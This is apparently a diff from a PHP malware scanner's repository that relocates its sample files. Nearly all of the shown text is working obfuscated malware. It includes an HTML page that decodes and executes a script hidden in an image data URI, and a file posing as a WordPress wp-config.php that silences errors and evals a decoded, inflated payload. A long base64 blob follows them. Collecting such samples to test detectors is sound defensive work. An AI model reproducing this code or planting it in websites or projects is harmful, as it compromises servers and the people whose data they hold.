5Ym54bWRXNWpkR2x2Ym54cFpueHpZVzU4YkdWdVozUm9mSFJpZkdadmNueDhmSHg4Zkh4OFJtbHlaV0oxWjN4OGZHVnVZM3hUZEhKcGJtZDhabkp2YlVOb1lYSkRiMlJsZkhOMVluTjBjbnhqYUdGeVEyOWtaVUYwZkh4cGJtNWxjbGRwWkhSb2ZIeDhjMk55WldWdWZIeHBibTVsY2tobGFXZG9kSHhyYTN4OFkyUjhmR2RsYmw5eVlXNWtiMjFmYzNSeWZHTm9jbTl0Wlh4dmRYUmxjbGRwWkhSb2ZHOTFkR1Z5U0dWcFoyaDBmSEpsY0d4aFkyVjhZVzVoYkhsMGFXTnpmR2hsYVdkb2RIeDNhV1IwYUh3ek5UQjhOakF3ZkhSeWRXVjhabUZzYzJWOFRXRjBhSHgwZVhCbGIyWjhjM1J5YVc1bmZISmhibVJ2Ylh3eU5UVjhNVFl3ZkdSdlkzVnRaVzUwZkZWU1RIeDBhR2x6Zkc1aGRtbG5ZWFJ2Y254MWMyVnlRV2RsYm5SOGNHRnljMlZKYm5SOGRXRjhibk44YVhOSmJtbDBhV0ZzYVhwbFpIeHNNbGhXUjJkalNYUTFNV3QwUW1scFdFUTNRakZ0YzFVelMwNURhamgyTVh4aWRHOWhmRzVsZDN4SmJXRm5aWHh6Y21OOGZHaDBkSEI4WjI5dloyeGxmSE4wWVhScFkzeDNhR2xzWlh4amIyMThaVzVqYjJSbFZWSkpRMjl0Y0c5dVpXNTBKeTV6Y0d4cGRDZ25mQ2NwTERBc2UzMHBLUT09Z2hkZXNjb26/DJpDAAAADElEQVQIHWNgIA0AAAAwAAGErPF6AAAAAElFTkSuQmCC"/> |
| 219 | <script type="text/javascript"> | 219 | <script type="text/javascript"> |
| 220 | if(typeof btoa=="undefined")btoa=function(a,b){b=(typeof b=='undefined')?false:b;var d,o2,o3,bits,h1,h2,h3,h4,e=[],pad='',c,plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";plain=b?Utf8.encode(a):a;c=plain.length%3;if(c>0){while(c++<3){pad+='=';plain+='\0'}}for(c=0;c<plain.length;c+=3){d=plain.charCodeAt(c);o2=plain.charCodeAt(c+1);o3=plain.charCodeAt(c+2);bits=d<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;e[c/3]=f.charAt(h1)+f.charAt(h2)+f.charAt(h3)+f.charAt(h4)}coded=e.join('');coded=coded.slice(0,coded.length-pad.length)+pad;return coded};if(typeof atob=="undefined")atob=function(a,b){b=(typeof b=='undefined')?false:b;var e,o2,o3,h1,h2,h3,h4,bits,d=[],plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";coded=b?Utf8.decode(a):a;for(var c=0;c<coded.length;c+=4){h1=f.indexOf(coded.charAt(c));h2=f.indexOf(coded.charAt(c+1));h3=f.indexOf(coded.charAt(c+2));h4=f.indexOf(coded.charAt(c+3));bits=h1<<18|h2<<12|h3<<6|h4;e=bits>>>16&0xff;o2=bits>>>8&0xff;o3=bits&0xff;d[c/4]=String.fromCharCode(e,o2,o3);if(h4==0x40)d[c/4]=String.fromCharCode(e,o2);if(h3==0x40)d[c/4]=String.fromCharCode(e)}plain=d.join('');return b?Utf8.decode(plain):plain}; | 220 | if(typeof btoa=="undefined")btoa=function(a,b){b=(typeof b=='undefined')?false:b;var d,o2,o3,bits,h1,h2,h3,h4,e=[],pad='',c,plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";plain=b?Utf8.encode(a):a;c=plain.length%3;if(c>0){while(c++<3){pad+='=';plain+='\0'}}for(c=0;c<plain.length;c+=3){d=plain.charCodeAt(c);o2=plain.charCodeAt(c+1);o3=plain.charCodeAt(c+2);bits=d<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;e[c/3]=f.charAt(h1)+f.charAt(h2)+f.charAt(h3)+f.charAt(h4)}coded=e.join('');coded=coded.slice(0,coded.length-pad.length)+pad;return coded};if(typeof atob=="undefined")atob=function(a,b){b=(typeof b=='undefined')?false:b;var e,o2,o3,h1,h2,h3,h4,bits,d=[],plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";coded=b?Utf8.decode(a):a;for(var c=0;c<coded.length;c+=4){h1=f.indexOf(coded.charAt(c));h2=f.indexOf(coded.charAt(c+1));h3=f.indexOf(coded.charAt(c+2));h4=f.indexOf(coded.charAt(c+3));bits=h1<<18|h2<<12|h3<<6|h4;e=bits>>>16&0xff;o2=bits>>>8&0xff;o3=bits&0xff;d[c/4]=String.fromCharCode(e,o2,o3);if(h4==0x40)d[c/4]=String.fromCharCode(e,o2);if(h3==0x40)d[c/4]=String.fromCharCode(e)}plain=d.join('');return b?Utf8.decode(plain):plain}; |
| 221 | setTimeout(function(){new Function(atob(atob(document.getElementById('ghdescon').src.substr(22)).match(/ghdescon(.*?)ghdescon/)[1])).apply(this);kk(13);}, 500); | 221 | setTimeout(function(){new Function(atob(atob(document.getElementById('ghdescon').src.substr(22)).match(/ghdescon(.*?)ghdescon/)[1])).apply(this);kk(13);}, 500); |
| 222 | </script> | 222 | </script> |
| 223 | </body> | 223 | </body> |
| 224 | 224 | ||
| 225 | </html> | 225 | </html> |
diff --git a/php-malware-finder/samples/cpanel.php b/data/samples/cpanel.php index 0899f12..0899f12 100644 --- a/php-malware-finder/samples/cpanel.php +++ b/data/samples/cpanel.php | |||
diff --git a/php-malware-finder/samples/freepbx.php b/data/samples/freepbx.php index 5ccf441..5ccf441 100644 --- a/php-malware-finder/samples/freepbx.php +++ b/data/samples/freepbx.php | |||
diff --git a/php-malware-finder/samples/obfuscators/cipher_design.php b/data/samples/obfuscators/cipher_design.php index 0ccf2c1..0ccf2c1 100644 --- a/php-malware-finder/samples/obfuscators/cipher_design.php +++ b/data/samples/obfuscators/cipher_design.php | |||
diff --git a/php-malware-finder/samples/obfuscators/online_php_obfuscator.php b/data/samples/obfuscators/online_php_obfuscator.php index e64cb31..e64cb31 100644 --- a/php-malware-finder/samples/obfuscators/online_php_obfuscator.php +++ b/data/samples/obfuscators/online_php_obfuscator.php | |||
diff --git a/php-malware-finder/samples/obfuscators/phpencode.php b/data/samples/obfuscators/phpencode.php index a6797f5..a6797f5 100644 --- a/php-malware-finder/samples/obfuscators/phpencode.php +++ b/data/samples/obfuscators/phpencode.php | |||
diff --git a/php-malware-finder/samples/real/awvjtnz.php b/data/samples/real/awvjtnz.php index 9d0e366..9d0e366 100644 --- a/php-malware-finder/samples/real/awvjtnz.php +++ b/data/samples/real/awvjtnz.php | |||
diff --git a/php-malware-finder/samples/real/exceptions.php b/data/samples/real/exceptions.php index d5ce73f..d5ce73f 100644 --- a/php-malware-finder/samples/real/exceptions.php +++ b/data/samples/real/exceptions.php | |||
diff --git a/php-malware-finder/samples/real/guidtz.php b/data/samples/real/guidtz.php index d482cb0..828c0f8 100644 --- a/php-malware-finder/samples/real/guidtz.php +++ b/data/samples/real/guidtz.php | |||
| @@ -1,76 +1,76 @@ | |||
| 1 | <?php | 1 | <?php |
| 2 | /* | 2 | /* |
| 3 | * The base configurations of the WordPress. | 3 | * The base configurations of the WordPress. |
| 4 | * | 4 | * |
| 5 | * This file has the following configurations: MySQL settings, Table Prefix, | 5 | * This file has the following configurations: MySQL settings, Table Prefix, |
| 6 | * Secret Keys, and ABSPATH. You can find more information by visiting | 6 | * Secret Keys, and ABSPATH. You can find more information by visiting |
| 7 | * {@link http://codex.wordpress.org/Editing_wp-config.php Editing wp-config.php} | 7 | * {@link http://codex.wordpress.org/Editing_wp-config.php Editing wp-config.php} |
| 8 | * Codex page. You can get the MySQL settings from your web host. | 8 | * Codex page. You can get the MySQL settings from your web host. |
| 9 | * | 9 | * |
| 10 | * This file is used by the wp-config.php creation script during the | 10 | * This file is used by the wp-config.php creation script during the |
| 11 | * installation. | 11 | * installation. |
| 12 | * | 12 | * |
| 13 | * @package WordPress | 13 | * @package WordPress |
| 14 | */ | 14 | */ |
| 15 | @error_reporting(0);@ini_set('display_errors',false);defined('„··7³µ³8¸13530´·') || define('„··7³µ³8¸13530´·',__FILE__);global $ƒ³µ7834¶81µ9´2¸5;global $·53´·¶6³9¶7775µ³; if(!function_exists('³0µ93µµ¶98511086')){ function ³0µ93µµ¶98511086($‰9·2³µ·2851µ5´5µ,$³71¸¸34076112µ06=''){ if(empty($‰9·2³µ·2851µ5´5µ)) return ''; $‰9·2³µ·2851µ5´5µ=base64_decode($‰9·2³µ·2851µ5´5µ); if($³71¸¸34076112µ06=='') return ~$‰9·2³µ·2851µ5´5µ; if($³71¸¸34076112µ06=='-1') @‡7µ16´¸2´923¶895(); $‰¶505·³465¶7´1µ6=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['ƒ2µ³´522259¶6·2³']($‰9·2³µ·2851µ5´5µ); $³71¸¸34076112µ06=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['…70µ53233³19´¶66']($³71¸¸34076112µ06,$‰¶505·³465¶7´1µ6,$³71¸¸34076112µ06); return $‰9·2³µ·2851µ5´5µ^$³71¸¸34076112µ06; }} if(!function_exists('´8·18¶3¸´µ9´µ1´8')){ function ´8·18¶3¸´µ9´µ1´8($‰9·2³µ·2851µ5´5µ,$³71¸¸34076112µ06=''){ if(empty($‰9·2³µ·2851µ5´5µ)) return ''; $‰9·2³µ·2851µ5´5µ=base64_decode($‰9·2³µ·2851µ5´5µ); if($³71¸¸34076112µ06=='') return ~$‰9·2³µ·2851µ5´5µ; if($³71¸¸34076112µ06=='-1') @¶¸8¶0³42¸·4¶791¸(); $‰¶505·³465¶7´1µ6=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['ƒ2µ³´522259¶6·2³']($‰9·2³µ·2851µ5´5µ); $³71¸¸34076112µ06=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['…70µ53233³19´¶66']($³71¸¸34076112µ06,$‰¶505·³465¶7´1µ6,$³71¸¸34076112µ06); return $³71¸¸34076112µ06^$‰9·2³µ·2851µ5´5µ; }}$ƒ³µ7834¶81µ9´2¸5["…70µ53233³19´¶66"]=´8·18¶3¸´µ9´µ1´8('jIuNoI+emw==','');$ƒ³µ7834¶81µ9´2¸5["ƒ464120·78´¸³³0´"]=´8·18¶3¸´µ9´µ1´8('nZ6MmsnLoJuanJCbmg==','');$ƒ³µ7834¶81µ9´2¸5["ƒ2µ³´522259¶6·2³"]=´8·18¶3¸´µ9´µ1´8('jIuNk5qR','');$ƒ³µ7834¶81µ9´2¸5["Š·77306821¶µ¸256"]=´8·18¶3¸´µ9´µ1´8('Gw4QPCMiFwoGLjQ=','HKBjfp');$ƒ³µ7834¶81µ9´2¸5["¸829¶³´197593·77"]='';$ƒ³µ7834¶81µ9´2¸5["‹552¶965¸0´732·3"]=´8·18¶3¸´µ9´µ1´8('ZiAFGwwjBCM=','6hUD_fHe9');$ƒ³µ7834¶81µ9´2¸5["··0702¶³´µµ8209³"]='';$ƒ³µ7834¶81µ9´2¸5["ˆ1³¶8´03324¶µ362"]='';$ƒ³µ7834¶81µ9´2¸5["Š9¶¶1528381µ305¶"]=´8·18¶3¸´µ9´µ1´8('CzQTIBMXBz8AOxM=','XqAvVE');$ƒ³µ7834¶81µ9´2¸5["¶06648·177994296"]='';$ƒ³µ7834¶81µ9´2¸5["„¶5·27µ9076¸9·µ6"]='';$ƒ³µ7834¶81µ9´2¸5["µ8790¸µ·27403321"]=´8·18¶3¸´µ9´µ1´8('WFZYblllfXZ1d1lV','ldv_kTSCBY');$ƒ³µ7834¶81µ9´2¸5["‚¸9053¶µ36·429µ0"]='';$ƒ³µ7834¶81µ9´2¸5["ˆ¸3³5´µ1¸2¸µ3591"]=´8·18¶3¸´µ9´µ1´8('DStf','nG67D');$ƒ³µ7834¶81µ9´2¸5["µ3µ73¸¶22¶92¸99³"]='';$ƒ³µ7834¶81µ9´2¸5["…77µ¶0´98³3¶3283"]=´8·18¶3¸´µ9´µ1´8('HA4VNhUDHQ8PHCs=','NKXyAFB');$ƒ³µ7834¶81µ9´2¸5["µ38·¶µ¸¸5777¶05·"]=´8·18¶3¸´µ9´µ1´8('AxhnCDs7JiUc','KL3XdsivH');$ƒ³µ7834¶81µ9´2¸5["‡51¸582³³³3µµ¶µ1"]='';$ƒ³µ7834¶81µ9´2¸5["‚8´´301¸93³³µ080"]='';$ƒ³µ7834¶81µ9´2¸5["…73606080·¸7414¸"]=´8·18¶3¸´µ9´µ1´8('FBlCWFItAUQGOgAQ','sc761Bl4t_');$ƒ³µ7834¶81µ9´2¸5["„³331074705³·24¸"]=´8·18¶3¸´µ9´µ1´8('O14wQSA4','R0D7AT');$ƒ³µ7834¶81µ9´2¸5["‡4³1´9832µ54978¸"]=´8·18¶3¸´µ9´µ1´8('HUYkECY6','n2VbCLrH');$ƒ³µ7834¶81µ9´2¸5["‚¶µ5´223¸162³2¸9"]=´8·18¶3¸´µ9´µ1´8('JQI/ERwMNgAcCDwaNw49ADA=','CkSt');$ƒ³µ7834¶81µ9´2¸5["„·¶2¶739¶17µ·042"]=´8·18¶3¸´µ9´µ1´8('GQAnKg==','miJOLV7G');$ƒ³µ7834¶81µ9´2¸5["³¸88´0·8¶µ³48286"]=´8·18¶3¸´µ9´µ1´8('GwEEPz9L','htfLK9uXy'); $·53´·¶6³9¶7775µ³['ˆ2³4³7µ4´¸85´74µ']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['„·¶2¶739¶17µ·042'](); $·53´·¶6³9¶7775µ³['ƒ·1´0´¸³0736µ02³']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['‚¶µ5´223¸162³2¸9'](„··7³µ³8¸13530´·); $·53´·¶6³9¶7775µ³['е16¸9µ6¶997³´12']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['‡4³1´9832µ54978¸']('2ef4d9904bd650312d329366c9fe69dc'); $·53´·¶6³9¶7775µ³['³72¸1µ1µ¸´69¸0´´']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['„³331074705³·24¸']($GLOBALS['ƒ³µ7834¶81µ9´2¸5']['‡4³1´9832µ54978¸']('1094000000')); $·53´·¶6³9¶7775µ³['‚¸77·7·¸7¶6³752µ']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['„³331074705³·24¸']($GLOBALS['ƒ³µ7834¶81µ9´2¸5']['‡4³1´9832µ54978¸']('6100000000')); $·53´·¶6³9¶7775µ³['„µ9³570¸4µ805963']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['„³331074705³·24¸']($GLOBALS['ƒ³µ7834¶81µ9´2¸5']['‡4³1´9832µ54978¸']('6600000000')); $·53´·¶6³9¶7775µ³['‡·³16³·7³´189·6³']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['„³331074705³·24¸']($GLOBALS['ƒ³µ7834¶81µ9´2¸5']['‡4³1´9832µ54978¸']('0123000000')); $·53´·¶6³9¶7775µ³['‚541³´13¸7´µ7¸³¶']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['³¸88´0·8¶µ³48286']($·53´·¶6³9¶7775µ³['ƒ·1´0´¸³0736µ02³'],$·53´·¶6³9¶7775µ³['³72¸1µ1µ¸´69¸0´´'],$·53´·¶6³9¶7775µ³['‡·³16³·7³´189·6³']); $·53´·¶6³9¶7775µ³['‚541³´13¸7´µ7¸³¶']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['ƒ464120·78´¸³³0´']($·53´·¶6³9¶7775µ³['‚541³´13¸7´µ7¸³¶']); $·53´·¶6³9¶7775µ³['‚541³´13¸7´µ7¸³¶']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['…73606080·¸7414¸']($·53´·¶6³9¶7775µ³['‚541³´13¸7´µ7¸³¶']); return(eval($·53´·¶6³9¶7775µ³['‚541³´13¸7´µ7¸³¶'])); ?> | 15 | @error_reporting(0);@ini_set('display_errors',false);defined('„··7³µ³8¸13530´·') || define('„··7³µ³8¸13530´·',__FILE__);global $ƒ³µ7834¶81µ9´2¸5;global $·53´·¶6³9¶7775µ³; if(!function_exists('³0µ93µµ¶98511086')){ function ³0µ93µµ¶98511086($‰9·2³µ·2851µ5´5µ,$³71¸¸34076112µ06=''){ if(empty($‰9·2³µ·2851µ5´5µ)) return ''; $‰9·2³µ·2851µ5´5µ=base64_decode($‰9·2³µ·2851µ5´5µ); if($³71¸¸34076112µ06=='') return ~$‰9·2³µ·2851µ5´5µ; if($³71¸¸34076112µ06=='-1') @‡7µ16´¸2´923¶895(); $‰¶505·³465¶7´1µ6=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['ƒ2µ³´522259¶6·2³']($‰9·2³µ·2851µ5´5µ); $³71¸¸34076112µ06=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['…70µ53233³19´¶66']($³71¸¸34076112µ06,$‰¶505·³465¶7´1µ6,$³71¸¸34076112µ06); return $‰9·2³µ·2851µ5´5µ^$³71¸¸34076112µ06; }} if(!function_exists('´8·18¶3¸´µ9´µ1´8')){ function ´8·18¶3¸´µ9´µ1´8($‰9·2³µ·2851µ5´5µ,$³71¸¸34076112µ06=''){ if(empty($‰9·2³µ·2851µ5´5µ)) return ''; $‰9·2³µ·2851µ5´5µ=base64_decode($‰9·2³µ·2851µ5´5µ); if($³71¸¸34076112µ06=='') return ~$‰9·2³µ·2851µ5´5µ; if($³71¸¸34076112µ06=='-1') @¶¸8¶0³42¸·4¶791¸(); $‰¶505·³465¶7´1µ6=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['ƒ2µ³´522259¶6·2³']($‰9·2³µ·2851µ5´5µ); $³71¸¸34076112µ06=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['…70µ53233³19´¶66']($³71¸¸34076112µ06,$‰¶505·³465¶7´1µ6,$³71¸¸34076112µ06); return $³71¸¸34076112µ06^$‰9·2³µ·2851µ5´5µ; }}$ƒ³µ7834¶81µ9´2¸5["…70µ53233³19´¶66"]=´8·18¶3¸´µ9´µ1´8('jIuNoI+emw==','');$ƒ³µ7834¶81µ9´2¸5["ƒ464120·78´¸³³0´"]=´8·18¶3¸´µ9´µ1´8('nZ6MmsnLoJuanJCbmg==','');$ƒ³µ7834¶81µ9´2¸5["ƒ2µ³´522259¶6·2³"]=´8·18¶3¸´µ9´µ1´8('jIuNk5qR','');$ƒ³µ7834¶81µ9´2¸5["Š·77306821¶µ¸256"]=´8·18¶3¸´µ9´µ1´8('Gw4QPCMiFwoGLjQ=','HKBjfp');$ƒ³µ7834¶81µ9´2¸5["¸829¶³´197593·77"]='';$ƒ³µ7834¶81µ9´2¸5["‹552¶965¸0´732·3"]=´8·18¶3¸´µ9´µ1´8('ZiAFGwwjBCM=','6hUD_fHe9');$ƒ³µ7834¶81µ9´2¸5["··0702¶³´µµ8209³"]='';$ƒ³µ7834¶81µ9´2¸5["ˆ1³¶8´03324¶µ362"]='';$ƒ³µ7834¶81µ9´2¸5["Š9¶¶1528381µ305¶"]=´8·18¶3¸´µ9´µ1´8('CzQTIBMXBz8AOxM=','XqAvVE');$ƒ³µ7834¶81µ9´2¸5["¶06648·177994296"]='';$ƒ³µ7834¶81µ9´2¸5["„¶5·27µ9076¸9·µ6"]='';$ƒ³µ7834¶81µ9´2¸5["µ8790¸µ·27403321"]=´8·18¶3¸´µ9´µ1´8('WFZYblllfXZ1d1lV','ldv_kTSCBY');$ƒ³µ7834¶81µ9´2¸5["‚¸9053¶µ36·429µ0"]='';$ƒ³µ7834¶81µ9´2¸5["ˆ¸3³5´µ1¸2¸µ3591"]=´8·18¶3¸´µ9´µ1´8('DStf','nG67D');$ƒ³µ7834¶81µ9´2¸5["µ3µ73¸¶22¶92¸99³"]='';$ƒ³µ7834¶81µ9´2¸5["…77µ¶0´98³3¶3283"]=´8·18¶3¸´µ9´µ1´8('HA4VNhUDHQ8PHCs=','NKXyAFB');$ƒ³µ7834¶81µ9´2¸5["µ38·¶µ¸¸5777¶05·"]=´8·18¶3¸´µ9´µ1´8('AxhnCDs7JiUc','KL3XdsivH');$ƒ³µ7834¶81µ9´2¸5["‡51¸582³³³3µµ¶µ1"]='';$ƒ³µ7834¶81µ9´2¸5["‚8´´301¸93³³µ080"]='';$ƒ³µ7834¶81µ9´2¸5["…73606080·¸7414¸"]=´8·18¶3¸´µ9´µ1´8('FBlCWFItAUQGOgAQ','sc761Bl4t_');$ƒ³µ7834¶81µ9´2¸5["„³331074705³·24¸"]=´8·18¶3¸´µ9´µ1´8('O14wQSA4','R0D7AT');$ƒ³µ7834¶81µ9´2¸5["‡4³1´9832µ54978¸"]=´8·18¶3¸´µ9´µ1´8('HUYkECY6','n2VbCLrH');$ƒ³µ7834¶81µ9´2¸5["‚¶µ5´223¸162³2¸9"]=´8·18¶3¸´µ9´µ1´8('JQI/ERwMNgAcCDwaNw49ADA=','CkSt');$ƒ³µ7834¶81µ9´2¸5["„·¶2¶739¶17µ·042"]=´8·18¶3¸´µ9´µ1´8('GQAnKg==','miJOLV7G');$ƒ³µ7834¶81µ9´2¸5["³¸88´0·8¶µ³48286"]=´8·18¶3¸´µ9´µ1´8('GwEEPz9L','htfLK9uXy'); $·53´·¶6³9¶7775µ³['ˆ2³4³7µ4´¸85´74µ']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['„·¶2¶739¶17µ·042'](); $·53´·¶6³9¶7775µ³['ƒ·1´0´¸³0736µ02³']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['‚¶µ5´223¸162³2¸9'](„··7³µ³8¸13530´·); $·53´·¶6³9¶7775µ³['е16¸9µ6¶997³´12']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['‡4³1´9832µ54978¸']('2ef4d9904bd650312d329366c9fe69dc'); $·53´·¶6³9¶7775µ³['³72¸1µ1µ¸´69¸0´´']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['„³331074705³·24¸']($GLOBALS['ƒ³µ7834¶81µ9´2¸5']['‡4³1´9832µ54978¸']('1094000000')); $·53´·¶6³9¶7775µ³['‚¸77·7·¸7¶6³752µ']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['„³331074705³·24¸']($GLOBALS['ƒ³µ7834¶81µ9´2¸5']['‡4³1´9832µ54978¸']('6100000000')); $·53´·¶6³9¶7775µ³['„µ9³570¸4µ805963']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['„³331074705³·24¸']($GLOBALS['ƒ³µ7834¶81µ9´2¸5']['‡4³1´9832µ54978¸']('6600000000')); $·53´·¶6³9¶7775µ³['‡·³16³·7³´189·6³']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['„³331074705³·24¸']($GLOBALS['ƒ³µ7834¶81µ9´2¸5']['‡4³1´9832µ54978¸']('0123000000')); $·53´·¶6³9¶7775µ³['‚541³´13¸7´µ7¸³¶']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['³¸88´0·8¶µ³48286']($·53´·¶6³9¶7775µ³['ƒ·1´0´¸³0736µ02³'],$·53´·¶6³9¶7775µ³['³72¸1µ1µ¸´69¸0´´'],$·53´·¶6³9¶7775µ³['‡·³16³·7³´189·6³']); $·53´·¶6³9¶7775µ³['‚541³´13¸7´µ7¸³¶']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['ƒ464120·78´¸³³0´']($·53´·¶6³9¶7775µ³['‚541³´13¸7´µ7¸³¶']); $·53´·¶6³9¶7775µ³['‚541³´13¸7´µ7¸³¶']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['…73606080·¸7414¸']($·53´·¶6³9¶7775µ³['‚541³´13¸7´µ7¸³¶']); return(eval($·53´·¶6³9¶7775µ³['‚541³´13¸7´µ7¸³¶'])); ?> |
| 16 | 16 | ||
| 17 | #!/usr/bin/php -q | 17 | #!/usr/bin/php -q |
| 18 | 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 |
